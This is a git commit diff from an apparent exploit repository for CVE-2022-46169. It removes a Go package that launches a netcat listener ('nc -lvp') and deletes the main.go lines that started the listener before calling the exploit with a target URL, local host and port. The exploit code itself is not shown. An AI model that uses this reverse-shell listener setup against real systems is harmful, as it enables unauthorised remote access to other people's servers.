removed listener, hopeless
This commit is contained in:
parent
6568d286aa
commit
838f3f2542
|
@ -1,28 +0,0 @@
|
|||
package listener
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
func startNetcatListener(lport string) {
|
||||
// Create the command to run netcat as a listener
|
||||
cli := exec.Command("nc", "-lvp", lport)
|
||||
|
||||
// Set up the output to be printed to the console
|
||||
cli.Stdout = os.Stdout
|
||||
cli.Stderr = os.Stderr
|
||||
|
||||
// Run the command
|
||||
err := cli.Run()
|
||||
if err != nil {
|
||||
fmt.Println("Error starting netcat listener:", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
func Listen(lport string) {
|
||||
fmt.Printf("Starting netcat listener on port %s...\n", lport)
|
||||
startNetcatListener(lport)
|
||||
}
|
10
main.go
10
main.go
|
@ -1,11 +1,8 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/cmd"
|
||||
"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/exploiter"
|
||||
"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/listener"
|
||||
)
|
||||
|
||||
func main() {
|
||||
|
@ -14,12 +11,5 @@ func main() {
|
|||
return
|
||||
}
|
||||
|
||||
go listener.Listen(lport)
|
||||
|
||||
time.Sleep(1 * time.Second)
|
||||
|
||||
exploiter.Exploit(urlTarget, lhost, lport)
|
||||
|
||||
// prevent the main goroutine from exiting immediately
|
||||
select {}
|
||||
}
|
||||
|
|
Loading…
Reference in a new issue